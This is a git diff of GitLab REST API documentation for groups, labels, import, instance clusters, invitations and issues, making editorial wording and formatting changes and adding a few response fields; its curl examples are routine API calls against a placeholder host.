-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Group Labels API
@@ -10,7 +10,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
This API supports managing of [group labels](../user/project/labels.md#project-labels-and-group-labels). It allows to list, create, update, and delete group labels. Furthermore, users can subscribe and unsubscribe to and from group labels.
-NOTE: **Note:**
+NOTE:
The `description_html` - was added to response JSON in [GitLab 12.7](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/21413).
## List group labels
@@ -175,7 +175,7 @@ Example response:
}
```
-NOTE: **Note:**
+NOTE:
An older endpoint `PUT /groups/:id/labels` with `name` in the parameters is still available, but deprecated.
## Delete a group label
@@ -195,7 +195,7 @@ DELETE /groups/:id/labels/:label_id
curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/5/labels/bug"
```
-NOTE: **Note:**
+NOTE:
An older endpoint `DELETE /groups/:id/labels` with `name` in the parameters is still available, but deprecated.
## Subscribe to a group label
diff --git a/doc/api/group_level_variables.md b/doc/api/group_level_variables.md
index 6997ebdede4..551bd473970 100644
--- a/doc/api/group_level_variables.md
+++ b/doc/api/group_level_variables.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Group-level Variables API
diff --git a/doc/api/group_milestones.md b/doc/api/group_milestones.md
index a2acf2c8fb1..2c56b2c501d 100644
--- a/doc/api/group_milestones.md
+++ b/doc/api/group_milestones.md
@@ -1,7 +1,7 @@
---
stage: Plan
group: Project Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Group milestones API
diff --git a/doc/api/group_wikis.md b/doc/api/group_wikis.md
index c61a557fcc6..f8804d1eadc 100644
--- a/doc/api/group_wikis.md
+++ b/doc/api/group_wikis.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Knowledge
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference, api
---
diff --git a/doc/api/groups.md b/doc/api/groups.md
index 0a584795d21..b4d36b568b8 100644
--- a/doc/api/groups.md
+++ b/doc/api/groups.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Groups API
@@ -338,8 +338,8 @@ Example response:
]
```
-NOTE: **Note:**
-To distinguish between a project in the group and a project shared to the group, the `namespace` attribute can be used. When a project has been shared to the group, its `namespace` will be different from the group the request is being made for.
+NOTE:
+To distinguish between a project in the group and a project shared to the group, the `namespace` attribute can be used. When a project has been shared to the group, its `namespace` differs from the group the request is being made for.
## List a group's shared projects
@@ -479,7 +479,7 @@ Example response:
## Details of a group
Get all details of a group. This endpoint can be accessed without authentication
-if the group is publicly accessible. In case the user that requests is admin of the group, it will return the `runners_token` for the group too.
+if the group is publicly accessible. In case the user that requests is admin of the group, it returns the `runners_token` for the group too.
```plaintext
GET /groups/:id
@@ -491,10 +491,10 @@ Parameters:
| ------------------------ | -------------- | -------- | ----------- |
| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user. |
| `with_custom_attributes` | boolean | no | Include [custom attributes](custom_attributes.md) in response (admins only). |
-| `with_projects` | boolean | no | Include details from projects that belong to the specified group (defaults to `true`). (Deprecated, [will be removed in API v5](https://gitlab.com/gitlab-org/gitlab/-/issues/213797). To get the details of all projects within a group, use the [list a group's projects endpoint](#list-a-groups-projects).) |
+| `with_projects` | boolean | no | Include details from projects that belong to the specified group (defaults to `true`). (Deprecated, [scheduled for removal in API v5](https://gitlab.com/gitlab-org/gitlab/-/issues/213797). To get the details of all projects within a group, use the [list a group's projects endpoint](#list-a-groups-projects).) |
-NOTE: **Note:**
-The `projects` and `shared_projects` attributes in the response are deprecated and will be [removed in API v5](https://gitlab.com/gitlab-org/gitlab/-/issues/213797).
+NOTE:
+The `projects` and `shared_projects` attributes in the response are deprecated and [scheduled for removal in API v5](https://gitlab.com/gitlab-org/gitlab/-/issues/213797).
To get the details of all projects within a group, use either the [list a group's projects](#list-a-groups-projects) or the [list a group's shared projects](#list-a-groups-shared-projects) endpoint.
```shell
@@ -670,7 +670,7 @@ Example response:
}
```
-Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) will also see
+Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) also see
the `shared_runners_minutes_limit` and `extra_shared_runners_minutes_limit` parameters:
Additional response parameters:
@@ -685,7 +685,7 @@ Additional response parameters:
}
```
-Users on GitLab [Silver, Premium, or higher](https://about.gitlab.com/pricing/) will also see
+Users on GitLab [Silver, Premium, or higher](https://about.gitlab.com/pricing/) also see
the `marked_for_deletion_on` attribute:
```json
@@ -697,7 +697,7 @@ the `marked_for_deletion_on` attribute:
}
```
-When adding the parameter `with_projects=false`, projects will not be returned.
+When adding the parameter `with_projects=false`, projects aren't returned.
```shell
curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/4?with_projects=false"
@@ -790,7 +790,7 @@ The `shared_runners_setting` attribute determines whether shared runners are ena
## New Subgroup
-This is similar to creating a [New group](#new-group). You'll need the `parent_id` from the [List groups](#list-groups) call. You can then enter the desired:
+This is similar to creating a [New group](#new-group). You need the `parent_id` from the [List groups](#list-groups) call. You can then enter the desired:
- `subgroup_path`
- `subgroup_name`
@@ -853,8 +853,8 @@ PUT /groups/:id
| `extra_shared_runners_minutes_limit` | integer | no | **(STARTER ONLY)** Extra pipeline minutes quota for this group (purchased in addition to the minutes included in the plan). |
| `prevent_forking_outside_group` | boolean | no | **(PREMIUM)** When enabled, users can **not** fork projects from this group to external namespaces
-NOTE: **Note:**
-The `projects` and `shared_projects` attributes in the response are deprecated and will be [removed in API v5](https://gitlab.com/gitlab-org/gitlab/-/issues/213797).
+NOTE:
+The `projects` and `shared_projects` attributes in the response are deprecated and [scheduled for removal in API v5](https://gitlab.com/gitlab-org/gitlab/-/issues/213797).
To get the details of all projects within a group, use either the [list a group's projects](#list-a-groups-projects) or the [list a group's shared projects](#list-a-groups-shared-projects) endpoint.
```shell
@@ -948,7 +948,7 @@ Only available to group owners and administrators.
This endpoint either:
- Removes group, and queues a background job to delete all projects in the group as well.
-- Since [GitLab 12.8](https://gitlab.com/gitlab-org/gitlab/-/issues/33257), on [Premium or Silver](https://about.gitlab.com/pricing/) or higher tiers, marks a group for deletion. The deletion will happen 7 days later by default, but this can be changed in the [instance settings](../user/admin_area/settings/visibility_and_access_controls.md#default-deletion-delay).
+- Since [GitLab 12.8](https://gitlab.com/gitlab-org/gitlab/-/issues/33257), on [Premium or Silver](https://about.gitlab.com/pricing/) or higher tiers, marks a group for deletion. The deletion happens 7 days later by default, but this can be changed in the [instance settings](../user/admin_area/settings/visibility_and_access_controls.md#default-deletion-delay).
```plaintext
DELETE /groups/:id
@@ -960,7 +960,7 @@ Parameters:
| --------------- | -------------- | -------- | ----------- |
| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
-The response will be `202 Accepted` if the user has authorization.
+The response is `202 Accepted` if the user has authorization.
## Restore group marked for deletion **(PREMIUM)**
@@ -1074,7 +1074,7 @@ POST /groups/:id/hooks
| `deployment_events` | boolean | no | Trigger hook on deployment events |
| `releases_events` | boolean | no | Trigger hook on release events |
| `enable_ssl_verification` | boolean | no | Do SSL verification when triggering the hook |
-| `token` | string | no | Secret token to validate received payloads; this will not be returned in the response |
+| `token` | string | no | Secret token to validate received payloads; not returned in the response |
### Edit group hook
@@ -1102,7 +1102,7 @@ PUT /groups/:id/hooks/:hook_id
| `deployment_events` | boolean | no | Trigger hook on deployment events |
| `releases_events` | boolean | no | Trigger hook on release events |
| `enable_ssl_verification` | boolean | no | Do SSL verification when triggering the hook |
-| `token` | string | no | Secret token to validate received payloads; this will not be returned in the response |
+| `token` | string | no | Secret token to validate received payloads; not returned in the response |
### Delete group hook
@@ -1170,12 +1170,12 @@ POST /groups/:id/ldap_group_links
| `group_access` | integer | yes | Minimum [access level](members.md#valid-access-levels) for members of the LDAP group |
| `provider` | string | yes | LDAP provider for the LDAP group link |
-NOTE: **Note:**
+NOTE:
To define the LDAP group link, provide either a `cn` or a `filter`, but not both.
### Delete LDAP group link **(STARTER ONLY)**
-Deletes an LDAP group link. Deprecated. Will be removed in a future release.
+Deletes an LDAP group link. Deprecated. Scheduled for removal in a future release.
```plaintext
DELETE /groups/:id/ldap_group_links/:cn
@@ -1186,7 +1186,7 @@ DELETE /groups/:id/ldap_group_links/:cn
| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
| `cn` | string | yes | The CN of an LDAP group |
-Deletes an LDAP group link for a specific LDAP provider. Deprecated. Will be removed in a future release.
+Deletes an LDAP group link for a specific LDAP provider. Deprecated. Scheduled for removal in a future release.
```plaintext
DELETE /groups/:id/ldap_group_links/:provider/:cn
@@ -1213,7 +1213,7 @@ DELETE /groups/:id/ldap_group_links
| `filter` | string | no | The LDAP filter for the group |
| `provider` | string | yes | LDAP provider for the LDAP group link |
-NOTE: **Note:**
+NOTE:
To delete the LDAP group link, provide either a `cn` or a `filter`, but not both.
## Namespaces in groups
@@ -1306,7 +1306,7 @@ GET /groups/:id/push_rule
}
```
-Users on GitLab [Premium, Silver, or higher](https://about.gitlab.com/pricing/) will also see
+Users on GitLab [Premium, Silver, or higher](https://about.gitlab.com/pricing/) also see
the `commit_committer_check` and `reject_unsigned_commits` parameters:
```json
@@ -1334,15 +1334,15 @@ POST /groups/:id/push_rule
| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
| `deny_delete_tag` **(STARTER)** | boolean | no | Deny deleting a tag |
| `member_check` **(STARTER)** | boolean | no | Allows only GitLab users to author commits |
-| `prevent_secrets` **(STARTER)** | boolean | no | [Files that are likely to contain secrets](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/gitlab/checks/files_denylist.yml) will be rejected |
+| `prevent_secrets` **(STARTER)** | boolean | no | [Files that are likely to contain secrets](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/gitlab/checks/files_denylist.yml) are rejected |
| `commit_message_regex` **(STARTER)** | string | no | All commit messages must match the regular expression provided in this attribute, e.g. `Fixed \d+\..*` |
-| `commit_message_negative_regex` **(STARTER)** | string | no | Commit messages matching the regular expression provided in this attribute will not be allowed, e.g. `ssh\:\/\/` |
+| `commit_message_negative_regex` **(STARTER)** | string | no | Commit messages matching the regular expression provided in this attribute aren't allowed, e.g. `ssh\:\/\/` |
| `branch_name_regex` **(STARTER)** | string | no | All branch names must match the regular expression provided in this attribute, e.g. `(feature|hotfix)\/*` |
| `author_email_regex` **(STARTER)** | string | no | All commit author emails must match the regular expression provided in this attribute, e.g. `@my-company.com$` |
-| `file_name_regex` **(STARTER)** | string | no | Filenames matching the regular expression provided in this attribute will **not** be allowed, e.g. `(jar|exe)$` |
+| `file_name_regex` **(STARTER)** | string | no | Filenames matching the regular expression provided in this attribute are **not** allowed, e.g. `(jar|exe)$` |
| `max_file_size` **(STARTER)** | integer | no | Maximum file size (MB) allowed |
-| `commit_committer_check` **(PREMIUM)** | boolean | no | Only commits pushed using verified emails will be allowed |
-| `reject_unsigned_commits` **(PREMIUM)** | boolean | no | Only commits signed through GPG will be allowed |
+| `commit_committer_check` **(PREMIUM)** | boolean | no | Only commits pushed using verified emails are allowed |
+| `reject_unsigned_commits` **(PREMIUM)** | boolean | no | Only commits signed through GPG are allowed |
```shell
curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/19/push_rule"
@@ -1381,15 +1381,15 @@ PUT /groups/:id/push_rule
| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
| `deny_delete_tag` **(STARTER)** | boolean | no | Deny deleting a tag |
| `member_check` **(STARTER)** | boolean | no | Restricts commits to be authored by existing GitLab users only |
-| `prevent_secrets` **(STARTER)** | boolean | no | [Files that are likely to contain secrets](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/gitlab/checks/files_denylist.yml) will be rejected |
+| `prevent_secrets` **(STARTER)** | boolean | no | [Files that are likely to contain secrets](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/gitlab/checks/files_denylist.yml) are rejected |
| `commit_message_regex` **(STARTER)** | string | no | All commit messages must match the regular expression provided in this attribute, e.g. `Fixed \d+\..*` |
-| `commit_message_negative_regex` **(STARTER)** | string | no | Commit messages matching the regular expression provided in this attribute will not be allowed, e.g. `ssh\:\/\/` |
+| `commit_message_negative_regex` **(STARTER)** | string | no | Commit messages matching the regular expression provided in this attribute aren't allowed, e.g. `ssh\:\/\/` |
| `branch_name_regex` **(STARTER)** | string | no | All branch names must match the regular expression provided in this attribute, e.g. `(feature|hotfix)\/*` |
| `author_email_regex` **(STARTER)** | string | no | All commit author emails must match the regular expression provided in this attribute, e.g. `@my-company.com$` |
-| `file_name_regex` **(STARTER)** | string | no | Filenames matching the regular expression provided in this attribute will **not** be allowed, e.g. `(jar|exe)$` |
+| `file_name_regex` **(STARTER)** | string | no | Filenames matching the regular expression provided in this attribute are **not** allowed, e.g. `(jar|exe)$` |
| `max_file_size` **(STARTER)** | integer | no | Maximum file size (MB) allowed |
-| `commit_committer_check` **(PREMIUM)** | boolean | no | Only commits pushed using verified emails will be allowed |
-| `reject_unsigned_commits` **(PREMIUM)** | boolean | no | Only commits signed through GPG will be allowed |
+| `commit_committer_check` **(PREMIUM)** | boolean | no | Only commits pushed using verified emails are allowed |
+| `reject_unsigned_commits` **(PREMIUM)** | boolean | no | Only commits signed through GPG are allowed |
```shell
curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/19/push_rule"
diff --git a/doc/api/import.md b/doc/api/import.md
index 27f5915b206..3a1edcb732d 100644
--- a/doc/api/import.md
+++ b/doc/api/import.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Import API
@@ -50,10 +50,10 @@ Example response:
Import your projects from Bitbucket Server to GitLab via the API.
-NOTE: **Note:**
+NOTE:
The Bitbucket Project Key is only used for finding the repository in Bitbucket.
You must specify a `target_namespace` if you want to import the repository to a GitLab group.
-If you do not specify `target_namespace`, the project will import to your personal user namespace.
+If you do not specify `target_namespace`, the project imports to your personal user namespace.
```plaintext
POST /import/bitbucket_server
@@ -71,7 +71,7 @@ POST /import/bitbucket_server
```shell
curl --request POST \
- --url https://gitlab.example.com/api/v4/import/bitbucket_server \
+ --url "https://gitlab.example.com/api/v4/import/bitbucket_server" \
--header "content-type: application/json" \
--header "PRIVATE-TOKEN: 9koXpg98eAheJpvBs5tK" \
--data '{
diff --git a/doc/api/instance_clusters.md b/doc/api/instance_clusters.md
index bc4eca5abfd..d5c033563d6 100644
--- a/doc/api/instance_clusters.md
+++ b/doc/api/instance_clusters.md
@@ -1,17 +1,17 @@
---
stage: Configure
group: Configure
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Instance clusters API
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/36001) in GitLab 13.2.
-NOTE: **Note:**
-User will need admin access to use these endpoints.
+Instance-level Kubernetes clusters allow you to connect a Kubernetes cluster to the GitLab instance, which enables you to use the same cluster across multiple projects. [More information](../user/instance/clusters/index.md)
-Use these API endpoints with your instance clusters, which enable you to use the same cluster across multiple projects. [More information](../user/instance/clusters/index.md)
+NOTE:
+Users need admin access to use these endpoints.
## List instance clusters
@@ -35,6 +35,8 @@ Example response:
"id": 9,
"name": "cluster-1",
"created_at": "2020-07-14T18:36:10.440Z",
+ "managed": true,
+ "enabled": true,
"domain": null,
"provider_type": "user",
"platform_type": "kubernetes",
@@ -98,9 +100,9 @@ Returns a single instance cluster.
Parameters:
-| Attribute | Type | Required | Description |
-| --------- | ---- | -------- | ----------- |
-| `cluster_id` | integer | yes | The ID of the cluster |
+| Attribute | Type | Required | Description |
+| ------------ | ------- | -------- | --------------------- |
+| `cluster_id` | integer | yes | The ID of the cluster |
```plaintext
GET /admin/clusters/:cluster_id
@@ -119,6 +121,8 @@ Example response:
"id": 9,
"name": "cluster-1",
"created_at": "2020-07-14T18:36:10.440Z",
+ "managed": true,
+ "enabled": true,
"domain": null,
"provider_type": "user",
"platform_type": "kubernetes",
@@ -153,19 +157,19 @@ POST /admin/clusters/add
Parameters:
-| Attribute | Type | Required | Description |
-| --------- | ---- | -------- | ----------- |
-| `name` | string | yes | The name of the cluster |
-| `domain` | string | no | The [base domain](../user/project/clusters/index.md#base-domain) of the cluster |
-| `environment_scope` | string | no | The associated environment to the cluster. Defaults to `*` |
-| `management_project_id` | integer | no | The ID of the [management project](../user/clusters/management_project.md) for the cluster |
-| `enabled` | boolean | no | Determines if cluster is active or not, defaults to true |
-| `managed` | boolean | no | Determines if GitLab will manage namespaces and service accounts for this cluster, defaults to true |
-| `platform_kubernetes_attributes[api_url]` | string | yes | The URL to access the Kubernetes API |
-| `platform_kubernetes_attributes[token]` | string | yes | The token to authenticate against Kubernetes |
-| `platform_kubernetes_attributes[ca_cert]` | string | no | TLS certificate. Required if API is using a self-signed TLS certificate. |
-| `platform_kubernetes_attributes[namespace]` | string | no | The unique namespace related to the project |
-| `platform_kubernetes_attributes[authorization_type]` | string | no | The cluster authorization type: `rbac`, `abac` or `unknown_authorization`. Defaults to `rbac`. |
+| Attribute | Type | Required | Description |
+| ---------------------------------------------------- | ------- | -------- | ----------------------------------------------------------------------------------------------------- |
+| `name` | string | yes | The name of the cluster |
+| `domain` | string | no | The [base domain](../user/project/clusters/index.md#base-domain) of the cluster |
+| `environment_scope` | string | no | The associated environment to the cluster. Defaults to `*` |
+| `management_project_id` | integer | no | The ID of the [management project](../user/clusters/management_project.md) for the cluster |
+| `enabled` | boolean | no | Determines if cluster is active or not, defaults to `true` |
+| `managed` | boolean | no | Determines if GitLab manages namespaces and service accounts for this cluster. Defaults to `true` |
+| `platform_kubernetes_attributes[api_url]` | string | yes | The URL to access the Kubernetes API |
+| `platform_kubernetes_attributes[token]` | string | yes | The token to authenticate against Kubernetes |
+| `platform_kubernetes_attributes[ca_cert]` | string | no | TLS certificate. Required if API is using a self-signed TLS certificate. |
+| `platform_kubernetes_attributes[namespace]` | string | no | The unique namespace related to the project |
+| `platform_kubernetes_attributes[authorization_type]` | string | no | The cluster authorization type: `rbac`, `abac` or `unknown_authorization`. Defaults to `rbac`. |
Example request:
@@ -184,6 +188,8 @@ Example response:
"id": 11,
"name": "cluster-3",
"created_at": "2020-07-14T18:42:50.805Z",
+ "managed": true,
+ "enabled": true,
"domain": null,
"provider_type": "user",
"platform_type": "kubernetes",
@@ -218,20 +224,21 @@ PUT /admin/clusters/:cluster_id
Parameters:
-| Attribute | Type | Required | Description |
-| --------- | ---- | -------- | ----------- |
-| `cluster_id` | integer | yes | The ID of the cluster |
-| `name` | string | no | The name of the cluster |
-| `domain` | string | no | The [base domain](../user/project/clusters/index.md#base-domain) of the cluster |
-| `environment_scope` | string | no | The associated environment to the cluster |
-| `management_project_id` | integer | no | The ID of the [management project](../user/clusters/management_project.md) for the cluster |
-| `enabled` | boolean | no | Determines if cluster is active or not, defaults to true |
-| `platform_kubernetes_attributes[api_url]` | string | no | The URL to access the Kubernetes API |
-| `platform_kubernetes_attributes[token]` | string | no | The token to authenticate against Kubernetes |
-| `platform_kubernetes_attributes[ca_cert]` | string | no | TLS certificate. Required if API is using a self-signed TLS certificate. |
-| `platform_kubernetes_attributes[namespace]` | string | no | The unique namespace related to the project |
-
-NOTE: **Note:**
+| Attribute | Type | Required | Description |
+| ------------------------------------------- | ------- | -------- | ------------------------------------------------------------------------------------------ |
+| `cluster_id` | integer | yes | The ID of the cluster |
+| `name` | string | no | The name of the cluster |
+| `domain` | string | no | The [base domain](../user/project/clusters/index.md#base-domain) of the cluster |
+| `environment_scope` | string | no | The associated environment to the cluster |
+| `management_project_id` | integer | no | The ID of the [management project](../user/clusters/management_project.md) for the cluster |
+| `enabled` | boolean | no | Determines if cluster is active or not |
+| `managed` | boolean | no | Determines if GitLab manages namespaces and service accounts for this cluster |
+| `platform_kubernetes_attributes[api_url]` | string | no | The URL to access the Kubernetes API |
+| `platform_kubernetes_attributes[token]` | string | no | The token to authenticate against Kubernetes |
+| `platform_kubernetes_attributes[ca_cert]` | string | no | TLS certificate. Required if API is using a self-signed TLS certificate. |
+| `platform_kubernetes_attributes[namespace]` | string | no | The unique namespace related to the project |
+
+NOTE:
`name`, `api_url`, `ca_cert` and `token` can only be updated if the cluster was added
through the [Add existing Kubernetes cluster](../user/project/clusters/add_remove_clusters.md#add-existing-cluster) option or
through the [Add existing instance cluster](#add-existing-instance-cluster) endpoint.
@@ -252,6 +259,8 @@ Example response:
"id": 9,
"name": "update-cluster-name",
"created_at": "2020-07-14T18:36:10.440Z",
+ "managed": true,
+ "enabled": true,
"domain": null,
"provider_type": "user",
"platform_type": "kubernetes",
@@ -288,9 +297,9 @@ DELETE /admin/clusters/:cluster_id
Parameters:
-| Attribute | Type | Required | Description |
-| --------- | ---- | -------- | ----------- |
-| `cluster_id` | integer | yes | The ID of the cluster |
+| Attribute | Type | Required | Description |
+| ------------ | ------- | -------- | --------------------- |
+| `cluster_id` | integer | yes | The ID of the cluster |
Example request:
diff --git a/doc/api/instance_level_ci_variables.md b/doc/api/instance_level_ci_variables.md
index e8550d41c44..58e69e22a15 100644
--- a/doc/api/instance_level_ci_variables.md
+++ b/doc/api/instance_level_ci_variables.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Instance-level CI/CD variables API
diff --git a/doc/api/invitations.md b/doc/api/invitations.md
index 00dc4252380..0891a343cce 100644
--- a/doc/api/invitations.md
+++ b/doc/api/invitations.md
@@ -1,7 +1,7 @@
---
stage: Growth
group: Expansion
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Invitations API
@@ -15,15 +15,16 @@ To send an invitation, you must have access to the project or group you are send
levels are defined in the `Gitlab::Access` module. Currently, these levels are valid:
- No access (`0`)
+- Minimal access (`5`) ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/220203) in GitLab 13.5.)
- Guest (`10`)
- Reporter (`20`)
- Developer (`30`)
- Maintainer (`40`)
- Owner (`50`) - Only valid to set for groups
-CAUTION: **Caution:**
+WARNING:
Due to [an issue](https://gitlab.com/gitlab-org/gitlab/-/issues/219299),
-projects in personal namespaces will not show owner (`50`) permission.
+projects in personal namespaces don't show owner (`50`) permission.
## Invite by email to group or project
diff --git a/doc/api/issue_links.md b/doc/api/issue_links.md
index 41e2dd7c147..b94207f8e16 100644
--- a/doc/api/issue_links.md
+++ b/doc/api/issue_links.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Issue links API **(CORE)**
@@ -12,7 +12,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
Get a list of a given issue's [related issues](../user/project/issues/related_issues.md),
sorted by the relationship creation datetime (ascending).
-Issues will be filtered according to the user authorizations.
+Issues are filtered according to the user authorizations.
```plaintext
GET /projects/:id/issues/:issue_iid/links
@@ -57,7 +57,9 @@ Parameters:
"web_url": "http://example.com/example/example/issues/14",
"confidential": false,
"weight": null,
- "link_type": "relates_to"
+ "link_type": "relates_to",
+ "link_created_at": "2016-01-07T12:44:33.959Z",
+ "link_updated_at": "2016-01-07T12:44:33.959Z"
}
]
```
diff --git a/doc/api/issues.md b/doc/api/issues.md
index ad5990f4a37..f6bab9ce676 100644
--- a/doc/api/issues.md
+++ b/doc/api/issues.md
@@ -1,7 +1,7 @@
---
stage: Plan
group: Project Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Issues API
@@ -16,11 +16,11 @@ are paginated.
Read more on [pagination](README.md#pagination).
-DANGER: **Deprecated:**
+WARNING:
The `reference` attribute in responses is deprecated in favor of `references`.
Introduced in [GitLab 12.6](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/20354).
-NOTE: **Note:**
+NOTE:
The `references.relative` attribute is relative to the group or project of the issue being requested.
When an issue is fetched from its project, the `relative` format is the same as the `short` format,
and when requested across groups or projects it's expected to be the same as the `full` format.
@@ -197,11 +197,11 @@ the `health_status` parameter:
]
```
-DANGER: **Deprecated:**
+WARNING:
The `assignee` column is deprecated. We now show it as a single-sized array `assignees` to conform
to the GitLab EE API.
-NOTE: **Note:**
+NOTE:
The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042).
This value is only present for issues closed after GitLab 10.6 and if the user account
that closed the issue still exists.
@@ -375,10 +375,10 @@ the `health_status` parameter:
]
```
-DANGER: **Deprecated:**
+WARNING:
The `assignee` column is deprecated. We now show it as a single-sized array `assignees` to conform to the GitLab EE API.
-NOTE: **Note:**
+NOTE:
The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042).
This value is only present for issues closed after GitLab 10.6 and if the user account that closed
the issue still exists.
@@ -558,10 +558,10 @@ the `health_status` parameter:
]
```
-DANGER: **Deprecated:**
+WARNING:
The `assignee` column is deprecated. We now show it as a single-sized array `assignees` to conform to the GitLab EE API.
-NOTE: **Note:**
+NOTE:
The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042). This value is only present for issues closed after GitLab 10.6 and if the user account that closed
the issue still exists.
@@ -678,6 +678,7 @@ Example response:
},
"subscribed": true,
"moved_to_id": null,
+ "service_desk_reply_to": "service.desk@gitlab.com",
"epic_iid": null,
"epic": null
}
@@ -715,15 +716,15 @@ the `epic` property:
}
```
-DANGER: **Deprecated:**
+WARNING:
The `assignee` column is deprecated. We now show it as a single-sized array `assignees` to conform
to the GitLab EE API.
-DANGER: **Deprecated:**
+WARNING:
The `epic_iid` attribute is deprecated, and [will be removed in version 5](https://gitlab.com/gitlab-org/gitlab/-/issues/35157).
Please use `iid` of the `epic` attribute instead.
-NOTE: **Note:**
+NOTE:
The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042).
This value is only present for issues closed after GitLab 10.6 and if the user account
that closed the issue still exists.
@@ -877,14 +878,14 @@ property:
]
```
-DANGER: **Deprecated:**
+WARNING:
The `assignee` column is deprecated. We now show it as a single-sized array `assignees` to conform to the GitLab EE API.
-DANGER: **Deprecated:**
+WARNING:
The `epic_iid` attribute is deprecated and [will be removed in version 5](https://gitlab.com/gitlab-org/gitlab/-/issues/35157).
Please use `iid` of the `epic` attribute instead.
-NOTE: **Note:**
+NOTE:
The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042). This value is only present for issues closed after GitLab 10.6 and if the user account that closed
the issue still exists.
@@ -1005,10 +1006,10 @@ the `health_status` parameter:
]
```
-DANGER: **Deprecated:**
+WARNING:
The `assignee` column is deprecated. We now show it as a single-sized array `assignees` to conform to the GitLab EE API.
-NOTE: **Note:**
+NOTE:
The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042). This value is only present for issues closed after GitLab 10.6 and if the user account that closed
the issue still exists.
@@ -1158,11 +1159,11 @@ the `health_status` parameter:
]
```
-NOTE: **Note:**
+NOTE:
